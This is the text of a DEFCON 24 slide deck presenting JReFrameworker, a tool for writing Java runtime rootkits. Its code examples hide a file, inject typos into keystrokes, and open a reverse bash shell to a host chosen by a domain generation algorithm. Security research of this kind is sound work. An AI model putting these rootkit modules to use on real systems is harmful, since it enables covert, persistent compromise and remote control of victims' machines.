Developing Managed Code Rootkits for the Java Runtime Environment

DEFCON 24, August 6th 2016

Benjamin Holland (daedared)
ben-holland.com
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami

Benjamin Holland (daedared)
B.S. in Computer Engineering (2005 - 2010)
  - Wabtec Railway Electronics, Ames Lab, Rockwell Collins
B.S. in Computer Science (2010 - 2011)
M.S. in Computer Engineering and Information Assurance (2010 - 2012)
  - MITRE
Iowa State University Research (2012 - 2015)
  - DARPA Automated Program Analysis for Cybersecurity (APAC) Program
PHD in Computer Engineering (2015-????)
  - DARPA Space/Time Analysis for Cybersecurity (STAC) Program
DEFCON Inspirations

- It is truly an honor to be here...
- Early memories of reading Winn Schwartau’s *Information Warfare*
  - One of my first introductions to security topics
- This talk itself was inspired by a previous DEFCON talk
Background
Hello World

```java
public class Test {

    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}
```
Hello (weird) World

```
public class Test {
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}
```

What! How?
Java Runtime Environment

Java Source Code (.java files)

Java Compiler

Java Bytecode (.class files)

Java Application (.jar file)

Write Once, Run Anywhere?

Java Application (.jar file)

Compatibility?

Operating System (Windows, Mac, Linux)
Java Runtime Environment

Java Source Code (.java files) → Java Compiler → Java Bytecode (.class files) → Java Application (.jar file) → Java Virtual Machine → Operating System (Windows, Mac, Linux)

Write Once, Run Anywhere?
Java Runtime Environment

Java Source Code (.java files) -> Java Compiler -> Java Bytecode (.class files) -> Java Application (.jar file)

Java Application (jar file) -> Runtime Libraries (.jar files) -> Java Virtual Machine

Write Once, Run Anywhere?

Operating System (Windows, Mac, Linux)
Java Runtime Environment

Java Source Code (.java files) → Java Compiler → Java Bytecode (.class files) → Java Application (.jar file) → Operating System (Windows, Mac, Linux)

Java Application (.jar file) → Evil Runtime Libraries (.jar files) → Java Virtual Machine

Write Once, Run Anywhere?
Java Runtime Environment

Java Source Code (.java files) → Java Compiler → Java Bytecode (.class files) → Java Application (.jar file)

Java Application (.jar file) → Evil Runtime Libraries (.jar files) → Java Virtual Machine → Operating System (Windows, Mac, Linux)

Write Once, Exploit Anywhere?
Managed Code Rootkits (MCRs)

- Post exploitation activity (need root/administrator privileges)
  - C:\Program Files\Java\...\lib\rt.jar
- Compromises EVERY program using the modified runtime
- Out of sight out of mind
  - Code reviews/audits don’t audit runtimes (typically)
  - May be overlooked by forensic investigators
- Rootkits are platform independent (if done right)
- Runtimes are already fully featured
  - Object Oriented programming
  - Standard libraries
  - Additional access to low level APIs
Strategies for Modifying the Runtime

Bytecode

Intermediate Representations

Decompiled Source
Strategies for Modifying the Runtime

- Bytecode: Difficult
- Intermediate Representations: Still Tricky
- Decompiled Source: Ideal but Unreliable
Pioneering Work

- Pioneering work by Erez Metula (DEFCON 17)
- "ReFrameworker" tool to modify .NET runtimes
  - XML modules define injection tasks
  - Generates deployment scripts
  - Uses an assembler/disassembler pair to make modifications
  - Usability? To make modules you have to write code in IR.
  - Portability? Depends on your target and module implementation.
  - Maintenance? Last update was over 6 years ago...
New Framework Goals

- MCR support for Java Runtime Environment
- Minimal prerequisite user knowledge
  - No knowledge of bytecode or intermediate languages
- Simple development cycle
  - Consider: developing, debugging, deploying
- Portability (Write Once, Exploit Everywhere)
JReFrameworker
JReFrameworker

- Write rootkits in Java source!
- Modification behaviors defined with source annotations
- Develop and debug in Eclipse IDE
- Exploit "modules" are Eclipse Java projects
- Exportable payload droppers
  - Bytecode injections are computed on the fly
- Free + Open Source (MIT License): github.com/benjholla/JReFrameworker
JReFrameworker

- Write rootkits in Java source!
- Modification behaviors defined with source annotations
- Develop and debug in Eclipse IDE
- Exploit "modules" are Eclipse Java projects
- Exportable payload droppers
  - Bytecode injections are computed on the fly
- Free + Open Source (MIT License): github.com/benjholla/JReFrameworker

“just what the internet is in dire need of, a well engineered malware development toolset”
~Some dude on Twitter
Hello (weird) World Revisited

@MergeType
public class BackwardsPrintStream extends java.io.PrintStream {

    @MergeMethod
    @Override
    public void println(String str){
        StringBuilder sb = new StringBuilder(str);
        super.println(sb.reverse().toString());
    }

}
### Annotation Types

<table>
<thead>
<tr>
<th></th>
<th>Define</th>
<th>Merge</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type</td>
<td>@DefineType</td>
<td>@MergeType</td>
</tr>
<tr>
<td>Method</td>
<td>@DefineMethod</td>
<td>@MergeMethod</td>
</tr>
<tr>
<td>Field</td>
<td>@DefineField</td>
<td>N/A</td>
</tr>
</tbody>
</table>
### Annotation Types

<table>
<thead>
<tr>
<th></th>
<th>Define</th>
<th>Merge</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type</td>
<td>@DefineType</td>
<td>@MergeType</td>
</tr>
<tr>
<td>Method</td>
<td>@DefineMethod</td>
<td>@MergeMethod</td>
</tr>
<tr>
<td>Field</td>
<td>@DefineField</td>
<td>N/A</td>
</tr>
</tbody>
</table>

(Inserts or Replaces)  (Preserves and Replaces)
Developing Managed Code Rootkits for the Java Runtime Environment

Modules

DEFCON 24, August 6th 2016
Get Creative

Time to get creative...
Hidden File Module

@MergeType
public class HiddenFile extends java.io.File {
    @MergeMethod
    @Override
    public boolean exists() {
        if (isFile() && getName().equals("secretFile")) {
            return false;
        } else {
            return super.exists();
        }
    }
}
Hidden File Module

```
private boolean jref_exists()
{
    SecurityManager localSecurityManager = System.getSecurityManager();
    if (localSecurityManager != null) {
        localSecurityManager.checkRead(this.path);
    }
    if (!isInvalid()) {
        return false;
    }
    return !fs.getBooleanAttributes(this, 846) != 0;
}
```

```
return false;
}
```

```
return fs.checkAccess(this, 2);
}
```
Hidden File Module

```java
public boolean exists()
{
    if (isFile() && (getName().equals("secretFile"))) {
        return false;
    }
    return jref_exists();
}
```
Beetlejuice

@MergeType
public class BeetlejuiceObject extends java.lang.Object {
    @DefineField
    private int beetlejuice;
    @MergeMethod
    public String toString() {
        StackTraceElement[] st = new Exception().getStackTrace();
        for (StackTraceElement element : st) {
            if (element.getMethodName().equals("beetlejuice")) {
                if (++beetlejuice == 3) i.Main.main(new String[]{});
            }
        }
        return super.toString();
    }
}

public class Test {
    static class TimBurton {}
    public static void main(String[] args) {
        TimBurton timBurton = new TimBurton();
        beetlejuice(timBurton);
        beetlejuice(timBurton);
        beetlejuice(timBurton);
    }
    private static void beetlejuice(TimBurton timBurton){
        System.out.println(timBurton.toString());
    }
}
The “i.Main.main(new String[]);” invokes Mocha DOOM
- Port of DOOM shareware to pure Java
- github.com/AXDOOMER/mochadoom

Payload behaviors can depend on the state or structure of the client program
Reverse Shell + DGA

- Define a `java.util.StreamForwarder` class
- Forward shell inputs/outputs to TCP stream

```java
InetAddress address = InetAddress.getByName(domain);
String ipAddress = address.getHostAddress();
final Process process = Runtime.getRuntime().exec("/bin/bash");
Socket socket = new Socket(ipAddress, 6666);
forwardStream(socket.getInputStream(), process.getOutputStream());
forwardStream(process.getInputStream(), socket.getOutputStream());
forwardStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
...
```
Reverse Shell + DGA

- Merge Domain Generation Algorithm (DGA) logic into java.util.Date

```java
String domain = "www.";
int year = getYear();
int month = getMonth();
int day = getDay();
for(int i=0; i<16; i++){
    year = ((year ^ 8 * year) >> 11) ^ ((year & 0xFFFFFFF0) << 17);
    month = ((month ^ 4 * month) >> 25) ^ 16 * (month & 0xFFFFFFF8);
    day = ((day ^ (day << 13)) >> 19) ^ ((day & 0xFFFFFFFFE) << 12);
    domain += (char)(((year ^ month ^ day) % 25) + 97);
}
domain += ".com";
```
Reverse Shell + DGA

- Malicious client probes for payload
- Create a reverse shell to the domain of the day

```java
public static void main(String[] args) throws Exception {
    Date d = new Date();
    // attempts to invoke a private method named reverseShell
    // in java.util.Date that may or may not exist ;)
    Method method = d.getClass().getDeclaredMethod("reverseShell");
    method.setAccessible(true);
    method.invoke(d);
}
```
SpellWrecker

- Define SpellWrecker class (inverse of a spellchecker)
- As average typing speed increases, more typos are injected
- As average typing speed reduces, less typos are injected

```java
@MergeType
public class SpellWreckedKeyEvent extends KeyEvent {
    @MergeMethod
    @Override
    public char getKeyChar() {
        char original = super.getKeyChar();
        return SpellWrecker.spellwreck(original);
    }
}
```
Mitigations
Bytecode Modification Indicators

- What is wrong with this picture? (hint: look at the line numbers)
Q/A
Thank you!

Resources:
- Setup + Tutorials: ben-holland.com/JReFrameworker
- Source Code: github.com/benjholla/JReFrameworker